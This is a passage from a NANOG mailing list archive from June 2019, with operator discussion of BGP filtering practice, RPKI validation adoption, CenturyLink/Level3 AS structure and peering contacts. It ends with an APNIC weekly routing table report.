>> I think a related *principle* is: "Build everything as though you are >> expecting to scale." >> >> This doesn't mean "spend lots of money to buy huge >> [routers|servers|commercial software|], but rather "when you plan >> your addressing structure and routing policies and monitoring and >> device config generation and... keep the in mind the question "If this >> suddenly takes off, and I hire N more people to run this, can I >> explain to them how it works? Do I have documentation I can point them >> at or is it stuck in my head / on the devices? If I need to add >> another M customers in the next month, can I do that easily?". >> >> This is related to the FILTER EVERYTHING -- when you turn up a new >> customer / peer / transit / whatever, you shouldn't be sitting around >> trying to figure out how you will write their route-map / >> policy-options -- this leads to weird one-offs, and quick hacks. >> Instead you should have policies already largely designed and simply >> plug in their prefixes (or, better yet, use bgpq3 or similar to build >> and populate these). Obviously there will be some cases where a new >> connection does require some special handling, but that *should* just >> be a plugin/chain in an existing policy-statement. Related to this is >> how you end up naming things -- I recently found 9 variants of >> firewall-filters which basically do: >> >> filter ACCEPT { >> term ACCEPT { >> then accept; >> } >> } >> named things like: ACCEPT, ACEPT, Accept, Allow, Permit_all, >> AcceptAll, dontdrop [0]. >> >> Obviously, there is a tension in the "design for scale" - while it >> would be great to design a complete automation system so that >> everything from installing a new customer to a new sites is simply >> typing 'make ' and having everything pull from a database, at >> some point you will need to actually build a network, or you'll never >> have customers :-) Just keep in mind that "Am I building myself into a >> corner here?". E.g it only takes 10 or 15 minutes to install something >> like NetBox to keep track of addresses (and prefixes and racks and >> connections and ...) -- stuffing this in a spreadsheet might save you >> a few minutes *now*, but will this scale? Can $new_person easily >> figure it out? >> >> >> W >> [0]: My personal favorite is: >> filter Accept_All { >> term Accept { >> then { >> count dropped; >> reject; >> } >> } >> term filter_ { >> from { >> prefix-list { >> ; >> } >> } >> then accept; >> } >> term NEXT { >> then log; >> } >> } >> >> Presumably this all made sense to >> when they stuck it in at 3AM to deal with some crazy issue, but... >> >> >> >> > >> > When you turn on the session, check what you're squawking AND WHAT >> > YOU'RE FILTERING. You shouldn't be filtering anything you don't expect. >> > Belt + suspenders. >> > >> > The same goes for anything you accept. Obviously for a blended full >> > transit BGP edge router, you're probably going to accept almost >> > everything. But if you only want default + on-net, try to filter using >> > communities from the peer, etc. Again, right when you turn on the >> > session, "sh ip bgp ... filtered" of whatever's equivalent on your >> > platform. If you're filtering something you don't expect to be >> > receiving at all, figure out where the misunderstanding or >> > misconfiguration lies. >> > >> > And of course it goes without saying that, if you've got BGP speaking >> > customers, you filter the heck out of them. Use ROAs and/or RPKI if you >> > can to automatically generate filter lists. Encourage your upstreams to >> > do the same if they're filtering you (and they probably are, or at least >> > should be, if you're new). Remember that you are responsible for every >> > route you advertise, at the end of the day, even if you only advertised >> > it because a downstream network made a boo-boo and you didn't filter it. >> > >> > Filters are useful on your IGP, too, but there's so many ways to set all >> > that up that it's a bit more difficult to come up with nearly universal >> > best practices. Generally speaking, be careful with redistribution, >> > never distribute BGP into IGP or vice versa unless you have a really, >> > really good reason to, and consider filters between both IGP >> > areas/regions or protocols (e.g. RIP coming into OSPF) as well as on >> > redistributions of static/connected to prevent simple typos on a static >> > route or interface configuration from taking down more than just local >> > stuff. >> > >> > It's way, way easier to remove or relax filters later if they prove more >> > of an operational hazard than asset than it is to add or tighten them if >> > they prove insufficient. >> > -- >> > Brandon Martin >> >> >> >> -- >> I don't think the execution is relevant when it was obviously a bad >> idea in the first place. >> This is like putting rabid weasels in your pants, and later expressing >> regret at having chosen those particular rabid weasels and that pair >> of pants. >> ---maf >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From utkarsh.gosain at tatacommunications.com Thu Jun 6 15:08:49 2019 From: utkarsh.gosain at tatacommunications.com (Utkarsh Gosain) Date: Thu, 6 Jun 2019 15:08:49 +0000 Subject: Charter head of peering/Transit Message-ID: Hi Nanogers Can someone share contact details for head of IP Peering/Transit for Charter. Thanks ug -------------- next part -------------- An HTML attachment was scrubbed... URL: From andy at andyring.com Thu Jun 6 15:51:54 2019 From: andy at andyring.com (Andy Ringsmuth) Date: Thu, 6 Jun 2019 10:51:54 -0500 Subject: Allied Telesis contact Message-ID: <3A57DC23-9171-4BCA-B07D-597B1B1E5C74@andyring.com> Any chance there’s someone on NANOG from Allied Telesis or someone who knows someone? Been trying to upgrade the firmware on a couple of their switches for quite a while now and without fail, the images available from their support web site fail a CRC check. Hoping to contact someone who can help sort it out. Thanks everyone. ---- Andy Ringsmuth 5609 Harding Drive Lincoln, NE 68521-5831 (402) 304-0083 andy at andyring.com From jamie.stephens at gmail.com Thu Jun 6 15:56:51 2019 From: jamie.stephens at gmail.com (Jamie Stephens) Date: Thu, 6 Jun 2019 11:56:51 -0400 Subject: Charter head of peering/Transit In-Reply-To: References: Message-ID: Try the email in this document https://www.spectrum.com/content/dam/spectrum/residential/en/pdfs/policies/160525_Attachment_1_Charter_Communications_IP_Interconnect_Offer_and_Requirements.pdf On Thu, Jun 6, 2019 at 11:10 AM Utkarsh Gosain < utkarsh.gosain at tatacommunications.com> wrote: > Hi Nanogers > > Can someone share contact details for head of IP Peering/Transit for > Charter. > > > > Thanks > > ug > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bryan at shout.net Thu Jun 6 19:30:39 2019 From: bryan at shout.net (Bryan Holloway) Date: Thu, 6 Jun 2019 14:30:39 -0500 Subject: CenturyLink/Level3 feedback In-Reply-To: References: <1905738124.3893.1559767041428.JavaMail.mhammett@ThunderFuck> Message-ID: <6aa4b341-5797-57e0-00da-3f8dbbcc3850@shout.net> On 6/5/19 3:40 PM, Dovid Bender wrote: > If the FCC has their way the only place you will see the PSTN in history > books. I can only hope that the same happens to faxing. > I'm told that the one of the only reasons faxing is still a thing is because of HIPAA-compliance. From ml at kenweb.org Thu Jun 6 19:33:50 2019 From: ml at kenweb.org (ML) Date: Thu, 6 Jun 2019 15:33:50 -0400 Subject: CenturyLink/Level3 feedback In-Reply-To: <6aa4b341-5797-57e0-00da-3f8dbbcc3850@shout.net> References: <1905738124.3893.1559767041428.JavaMail.mhammett@ThunderFuck> <6aa4b341-5797-57e0-00da-3f8dbbcc3850@shout.net> Message-ID: <50b45a5d-7314-16f2-aec0-99519271e00f@kenweb.org> On 6/6/2019 3:30 PM, Bryan Holloway wrote: > On 6/5/19 3:40 PM, Dovid Bender wrote: >> If the FCC has their way the only place you will see the PSTN in >> history books. I can only hope that the same happens to faxing. >> > > I'm told that the one of the only reasons faxing is still a thing is > because of HIPAA-compliance. Is it still HIPAA compliant when my cellphone receives faxes from doctors and pharmacies? Apparently it's too hard to verify phone numbers and use the correct area code before faxing sensitive information. From larry.brower at aramcoservices.com Thu Jun 6 19:35:48 2019 From: larry.brower at aramcoservices.com (Brower, Larry) Date: Thu, 6 Jun 2019 19:35:48 +0000 Subject: CenturyLink/Level3 feedback In-Reply-To: <6aa4b341-5797-57e0-00da-3f8dbbcc3850@shout.net> References: <1905738124.3893.1559767041428.JavaMail.mhammett@ThunderFuck> <6aa4b341-5797-57e0-00da-3f8dbbcc3850@shout.net> Message-ID: On 6/5/19 3:40 PM, Dovid Bender wrote: > If the FCC has their way the only place you will see the PSTN in > history books. I can only hope that the same happens to faxing. > > I'm told that the one of the only reasons faxing is still a thing is because of HIPAA-compliance. I have heard similar. In reality we have two groups here who insist on keeping that capability, Medical and Finance. We have been trying to get out of supporting faxing for a while :) This email has been classified as: General Use by Brower, Larry on Thursday, June 6, 2019 From applebaumt at ochin.org Thu Jun 6 21:29:40 2019 From: applebaumt at ochin.org (Tyler Applebaum) Date: Thu, 6 Jun 2019 21:29:40 +0000 Subject: Taobao AS37963 (Alibaba) network abuse Message-ID: Has anyone ever had success in working with the abuse contact for Taobao? I e-mailed ipas at cnnic.cn . We were seeing a flood of requests from 42.120.128.0/17. Went ahead and blocked that and a few others to prevent damage, but we're still seeing the ACL hits pile up. Attention: Information contained in this message and or attachments is intended only for the recipient(s) named above and may contain confidential and or privileged material that is protected under State or Federal law. If you are not the intended recipient, any disclosure, copying, distribution or action taken on it is prohibited. If you believe you have received this email in error, please contact the sender with a copy to compliance at ochin.org, delete this email and destroy all copies. -------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Fri Jun 7 00:15:25 2019 From: bill at herrin.us (William Herrin) Date: Thu, 6 Jun 2019 17:15:25 -0700 Subject: nanog.org web site Message-ID: https://archive.nanog.org/meetings/nanog70/home.html Page not found https://archive.nanog.org/meetings/nanog70/ Access denied -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From wwwboy at gmail.com Fri Jun 7 06:21:29 2019 From: wwwboy at gmail.com (www boy) Date: Fri, 7 Jun 2019 16:21:29 +1000 Subject: Apple devices spoofing default gateway? Message-ID: I just joined nanog to allow me to respond to a thread that Simon posted in March. . (Not sure if this is how to respond) We have the exact same problem with Aruba Access points and with multiple MacBooks and a iMac. Where the device will spoof the default gateway and the effect is that vlan is not usable. I also have raised a case with Apple but so far no luck. What is the status of your issue? Any luck working out exactly what the cause is? Regards, Mike -------------- next part -------------- An HTML attachment was scrubbed... URL: From edugas at unknowndevice.ca Fri Jun 7 14:58:48 2019 From: edugas at unknowndevice.ca (Eric Dugas) Date: Fri, 7 Jun 2019 10:58:48 -0400 Subject: Networks enforcing RPKI validation Message-ID: Hello NANOG, I was wondering if there was a list of networks that enforce RPKI validation and dropping invalids. The shortlist I know is: AT&T (since February of this year) and of course NTT because of Job Thanks Eric -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at ntt.net Fri Jun 7 15:29:49 2019 From: job at ntt.net (Job Snijders) Date: Fri, 7 Jun 2019 17:29:49 +0200 Subject: Networks enforcing RPKI validation In-Reply-To: References: Message-ID: <20190607152949.GC32047@hanna.meerval.net> Dear Eric, If you don't mind me showering you with some study resources... here we go! On Fri, Jun 07, 2019 at 10:58:48AM -0400, Eric Dugas wrote: > I was wondering if there was a list of networks that enforce RPKI > validation and dropping invalids. The last list that was compiled is available here https://blog.benjojo.co.uk/post/state-of-rpki-in-2018 I expect that by now the list has doubled. We received many anecdotal reports since then from people having deployed Origin Validation in their networks. Perhaps if we ask Ben Cartwright-Cox nice enough he can run a new report for Q2 2019 :-) > The shortlist I know is: AT&T (since February of this year) Which is awesome! AT&T's deployment has definitely lowered the barrier to deployment for others. > and of course NTT because of Job Point of clarificartion: NTT is not there yet, but we are on our way. NTT does not yet apply RFC 6811 Origin Validation on its EBGP session and does not yet reject RPKI Invalid BGP announcements. However, NTT does use RPKI data in its filter generation process, more information on that topic can be found here: https://blog.apnic.net/2018/08/01/treating-rpki-roas-as-irr-route6-objects/ The next step will be to use RPKI data to ignore conflicting IRR data, this way the IRR will be harder to abuse in facilitating misconfigurations or hijacks. An example of that type of use of RPKI data can be found here https://ripe78.ripe.net/archives/video/119/ slides: https://ripe78.ripe.net/presentations/137-db_wg_ripe78_prop2018-06_snijders.pdf After that, we'll also use RPKI data to strengthen our EBGP filters in a similar way to how AT&T does it. I hope that we'll be done Q1 2020 - but don't hold me to that date! We move at telco speed sometimes ;-) An overview of where the industry was and where we're heading can be found in "Routing Security Roadmap" presentation at https://nlnog.net/nlnog-day-2018/ Finally - here is a quick and easy browser based tool to attempt to figure out if the network you are connected to performs RPKI based BGP Origin Validation (and is default-free) https://ripe.net/s/rpki-test Kind regards, Job From darin.steffl at mnwifi.com Fri Jun 7 16:01:46 2019 From: darin.steffl at mnwifi.com (Darin Steffl) Date: Fri, 7 Jun 2019 11:01:46 -0500 Subject: CenturyLink/Level 3 combined AS Message-ID: Hey all, Are there plans for CL and Level3 to combine AS's into one network? If not, do they actively peer and route traffic through each other's networks at least? Basically we're looking at picking up 1G of CL and wondering if it's near the same quality as Level3 in terms of latency and packet loss. Thanks -- Darin Steffl Minnesota WiFi www.mnwifi.com 507-634-WiFi Like us on Facebook -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Fri Jun 7 16:09:29 2019 From: nanog at ics-il.net (Mike Hammett) Date: Fri, 7 Jun 2019 11:09:29 -0500 (CDT) Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: Message-ID: <206525798.5204.1559923766378.JavaMail.mhammett@ThunderFuck> I wouldn't expect them to be integrated for at least another decade. Global Crossing AS3549 still exists with over 2,000 peer ASNs, yet Level 3 acquired them in 2011. Time Warner Telecom was acquired in 2014 and it still has 89 peer ASNs. Centurylink bought Digital Teleport in 2003 and their ASN is still out there. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Darin Steffl" To: "North American Network Operators' Group" Sent: Friday, June 7, 2019 11:01:46 AM Subject: CenturyLink/Level 3 combined AS Hey all, Are there plans for CL and Level3 to combine AS's into one network? If not, do they actively peer and route traffic through each other's networks at least? Basically we're looking at picking up 1G of CL and wondering if it's near the same quality as Level3 in terms of latency and packet loss. Thanks -- Darin Steffl Minnesota WiFi www.mnwifi.com 507-634-WiFi Like us on Facebook -------------- next part -------------- An HTML attachment was scrubbed... URL: From cma at cmadams.net Fri Jun 7 16:18:51 2019 From: cma at cmadams.net (Chris Adams) Date: Fri, 7 Jun 2019 11:18:51 -0500 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: Message-ID: <20190607161851.GA4944@cmadams.net> Once upon a time, Darin Steffl said: > Are there plans for CL and Level3 to combine AS's into one network? We have CenturyLink transit from old Qwest (AS 209) and old Level3 (AS 3356) in Chicago... when we ordered the more recent circuit, both sales and tech said that there's no plan to merge the ASes together at this time. They already had peering, so I assume that just expanded. We haven't had any issues with either. And BTW: when you say "CL" - those are just two of the large family of ASes that CL has bought. There's also old Savvis AS 6347, and other old Savvis (aka Cable & Wireless aka InternetMCI) AS 3561, and untold more Internet history... :) -- Chris Adams From beecher at beecher.cc Fri Jun 7 16:49:20 2019 From: beecher at beecher.cc (Tom Beecher) Date: Fri, 7 Jun 2019 12:49:20 -0400 Subject: CenturyLink/Level 3 combined AS In-Reply-To: <206525798.5204.1559923766378.JavaMail.mhammett@ThunderFuck> References: <206525798.5204.1559923766378.JavaMail.mhammett@ThunderFuck> Message-ID: That '2000 peer ASN's' value is likely very, very inflated. I have prefixes that would look like I am peering with 3549 directly in many places that I do not. L3 has for some time had a partial as-merge community that you can set so that if you announce a prefix to 3356, they'll mirror it over to 3549 in the same location and strip 3356 from the as-path. The reverse also works for an announcement to 3549 mirrored over to 3356. They're doing some inter-as option c juju to make all that work. Doesn't change the point that 3549 is still around 8 years later and likely will be for 8 more, but yeah. :) I'm sure efforts to make that happen have a plethora of roadblocks such that it would cost 10x more to get rid of it than it would to just leave it as is and just shrink it when possible. On Fri, Jun 7, 2019 at 12:11 PM Mike Hammett wrote: > I wouldn't expect them to be integrated for at least another decade. > Global Crossing AS3549 still exists with over 2,000 peer ASNs, yet Level 3 > acquired them in 2011. Time Warner Telecom was acquired in 2014 and it > still has 89 peer ASNs. > > Centurylink bought Digital Teleport in 2003 and their ASN is still out > there. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > > > > > Midwest Internet Exchange > > > > The Brothers WISP > > > ------------------------------ > *From: *"Darin Steffl" > *To: *"North American Network Operators' Group" > *Sent: *Friday, June 7, 2019 11:01:46 AM > *Subject: *CenturyLink/Level 3 combined AS > > Hey all, > > Are there plans for CL and Level3 to combine AS's into one network? > > If not, do they actively peer and route traffic through each other's > networks at least? > > Basically we're looking at picking up 1G of CL and wondering if it's near > the same quality as Level3 in terms of latency and packet loss. > > Thanks > > -- > Darin Steffl > Minnesota WiFi > www.mnwifi.com > 507-634-WiFi > Like us on Facebook > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Romeo.Czumbil at tierpoint.com Fri Jun 7 17:03:10 2019 From: Romeo.Czumbil at tierpoint.com (Romeo Czumbil) Date: Fri, 7 Jun 2019 17:03:10 +0000 Subject: CenturyLink/Level 3 combined AS In-Reply-To: References: Message-ID: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> All new CL Internet get's provisioned on AS3356 You would need a strong case for them to put you on AS209 At this time they are not merging the two AS's And also define "quality" ;-) -Romeo From: NANOG On Behalf Of Darin Steffl Sent: Friday, June 7, 2019 12:02 PM To: North American Network Operators' Group Subject: CenturyLink/Level 3 combined AS Hey all, Are there plans for CL and Level3 to combine AS's into one network?  If not, do they actively peer and route traffic through each other's networks at least? Basically we're looking at picking up 1G of CL and wondering if it's near the same quality as Level3 in terms of latency and packet loss. Thanks -- Darin Steffl Minnesota WiFi https://urldefense.proofpoint.com/v2/url?u=http-3A__www.mnwifi.com_&d=DwMFaQ&c=QbKJOwLIrSFJ6b5qo-Piqw&r=7c7AjRoUVcwQLzf0TJlbpkDj0XZUiEY9edXj7_CVNLE&m=B9x15ZQ8isrQ6IfUsWLNMps3Fxkm9knEK_q5EDIUVEU&s=cOxvX4Mpm1zNu7Y2hWKKzjTiR12MNhBseyGKijwODv4&e= 507-634-WiFi  https://urldefense.proofpoint.com/v2/url?u=http-3A__www.facebook.com_minnesotawifi&d=DwMFaQ&c=QbKJOwLIrSFJ6b5qo-Piqw&r=7c7AjRoUVcwQLzf0TJlbpkDj0XZUiEY9edXj7_CVNLE&m=B9x15ZQ8isrQ6IfUsWLNMps3Fxkm9knEK_q5EDIUVEU&s=mWRM-1yVsEZInKW4u3DeFnLdPW_gwkA7GbTvFdccydI&e= From eric at flanery.us Fri Jun 7 17:55:04 2019 From: eric at flanery.us (Eric Flanery (eric)) Date: Fri, 7 Jun 2019 10:55:04 -0700 Subject: CenturyLink/Level 3 combined AS In-Reply-To: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: On Fri, Jun 7, 2019 at 10:03 AM Romeo Czumbil wrote: > All new CL Internet get's provisioned on AS3356 > You would need a strong case for them to put you on AS209 > > At this time they are not merging the two AS's > And also define "quality" ;-) > > -Romeo > That isn't true in my recent experience. We just replaced an older L3 transit with a new CL one on different floors of the same building, and doing so involved moving from 3356 to 209. Interestingly, the CFA for the new circuit's attachment suggests it came out of the "L3" suite, not the "Qwest" suite (both on the same floor); so it seems that 209 is provision-able at former L3 facilities. Other recent entirely new CL turn-ups with us, out of rural COs belonging to Frontier, have also been with 209. --Eric -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruns at 2mbit.com Fri Jun 7 17:59:11 2019 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 7 Jun 2019 11:59:11 -0600 Subject: CenturyLink/Level 3 combined AS In-Reply-To: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> References: <901a2115aaff47ae9b541321256eec50@hwt01-ex01.tierpoint.net> Message-ID: On 6/7/2019 11:03 AM, Romeo Czumbil wrote: > All new CL Internet get's provisioned on AS3356 > You would need a strong case for them to put you on AS209 Got provisioned last year on AS209 when they turned up my ent Fiber with BGP. Could depend heavily on what services and where. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From cscora at apnic.net Fri Jun 7 18:03:38 2019 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 8 Jun 2019 04:03:38 +1000 (AEST) Subject: Weekly Routing Table Report Message-ID: <20190607180338.45CB1C44A1@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 08 Jun, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 757473 Prefixes after maximum aggregation (per Origin AS): 291275 Deaggregation factor: 2.60 Unique aggregates announced (without unneeded subnets): 362403 Total ASes present in the Internet Routing Table: 64457 Prefixes per ASN: 11.75 Origin-only ASes present in the Internet Routing Table: 55455 Origin ASes announcing only one prefix: 23832 Transit ASes present in the Internet Routing Table: 9002 Transit-only ASes present in the Internet Routing Table: 275 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 42 Max AS path prepend of ASN ( 27978) 31 Prefixes from unregistered ASNs in the Routing Table: 25 Number of instances of unregistered ASNs: 28 Number of 32-bit ASNs allocated by the RIRs: 27264 Number of 32-bit ASNs visible in the Routing Table: 22288 Prefixes from 32-bit ASNs in the Routing Table: 100069 Number of bogon 32-bit ASNs visible in the Routing Table: 20 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 246 Number of addresses announced to Internet: 2839509120 Equivalent to 169 /8s, 63 /16s and 120 /24s Percentage of available address space announced: 76.7 Percentage of allocated address space announced: 76.7 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.3 Total number of prefixes smaller than registry allocations: 252705 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 204836 Total APNIC prefixes after maximum aggregation: 60878 APNIC Deaggregation factor: 3.36 Prefixes being announced from the APNIC address blocks: 200984 Unique aggregates announced from the APNIC address blocks: 83016 APNIC Region origin ASes present in the Internet Routing Table: 9790 APNIC Prefixes per ASN: 20.53 APNIC Region origin ASes announcing only one prefix: 2717 APNIC Region transit ASes present in the Internet Routing Table: 1468 Average APNIC Region AS path length visible: 4.6 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4794 Number of APNIC addresses announced to Internet: 772705920 Equivalent to 46 /8s, 14 /16s and 142 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225582 Total ARIN prefixes after maximum aggregation: 105116 ARIN Deaggregation factor: 2.15 Prefixes being announced from the ARIN address blocks: 224535 Unique aggregates announced from the ARIN address blocks: 105850 ARIN Region origin ASes present in the Internet Routing Table: 18490 ARIN Prefixes per ASN: 12.14 ARIN Region origin ASes announcing only one prefix: 6849 ARIN Region transit ASes present in the Internet Routing Table: 1898 Average ARIN Region AS path length visible: 3.8 Max ARIN Region AS path length visible: 42 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2734 Number of ARIN addresses announced to Internet: 1067608192 Equivalent to 63 /8s, 162 /16s and 104 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 208753 Total RIPE prefixes after maximum aggregation: 98717 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 204996 Unique aggregates announced from the RIPE address blocks: 121288 RIPE Region origin ASes present in the Internet Routing Table: 26131 RIPE Prefixes per ASN: 7.84 RIPE Region origin ASes announcing only one prefix: 11576 RIPE Region transit ASes present in the Internet Routing Table: 3724 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8179 Number of RIPE addresses announced to Internet: 719857280 Equivalent to 42 /8s, 232 /16s and 38 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 97031 Total LACNIC prefixes after maximum aggregation: 22219 LACNIC Deaggregation factor: 4.37 Prefixes being announced from the LACNIC address blocks: 98446 Unique aggregates announced from the LACNIC address blocks: 42838 LACNIC Region origin ASes present in the Internet Routing Table: 8469 LACNIC Prefixes per ASN: 11.62 LACNIC Region origin ASes announcing only one prefix: 2249 LACNIC Region transit ASes present in the Internet Routing Table: 1540 Average LACNIC Region AS path length visible: 5.4 Max LACNIC Region AS path length visible: 39 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 6018 Number of LACNIC addresses announced to Internet: 173985792 Equivalent to 10 /8s, 94 /16s and 208 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21245 Total AfriNIC prefixes after maximum aggregation: 4324 AfriNIC Deaggregation factor: 4.91 Prefixes being announced from the AfriNIC address blocks: 28266 Unique aggregates announced from the AfriNIC address blocks: 9196 AfriNIC Region origin ASes present in the Internet Routing Table: 1284 AfriNIC Prefixes per ASN: 22.01 AfriNIC Region origin ASes announcing only one prefix: 441 AfriNIC Region transit ASes present in the Internet Routing Table: 248 Average AfriNIC Region AS path length visible: 4.9 Max AfriNIC Region AS path length visible: 23 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 563 Number of AfriNIC addresses announced to Internet: 105102848 Equivalent to 6 /8s, 67 /16s and 190 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4750 548 537 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3164 1443 32 VIETEL-AS-AP Viettel Group, VN 45899 3036 1753 114 VNPT-AS-VN VNPT Corp, VN 9808 2833 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2736 1496 552 BSNL-NIB National Internet Backbone, IN 4766 2529 11119 759 KIXS-AS-KR Korea Telecom, KR 4755 2139 428 182 TATACOMM-AS TATA Communications formerl 9394 2094 4882 26 CTTNET China TieTong Telecommunications 9498 2066 427 173 BBIL-AP BHARTI Airtel Ltd., IN 23969 1775 314 16 TOT-NET TOT Public Company Limited, TH Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3646 238 611 CABLEONE - CABLE ONE, INC., US 6327 3611 1324 89 SHAW - Shaw Communications Inc., CA 22773 3413 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2856 6276 1247 AMAZON-02 - Amazon.com, Inc., US 16625 2497 1367 1875 AKAMAI-AS - Akamai Technologies, Inc., 30036 2163 347 189 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2151 2760 526 CHARTER-20115 - Charter Communications, 18566 2099 405 108 MEGAPATH5-US - MegaPath Corporation, US 5650 2085 3074 1461 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5451 1629 141 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3168 379 46 BEZEQ-INTERNATIONAL-AS 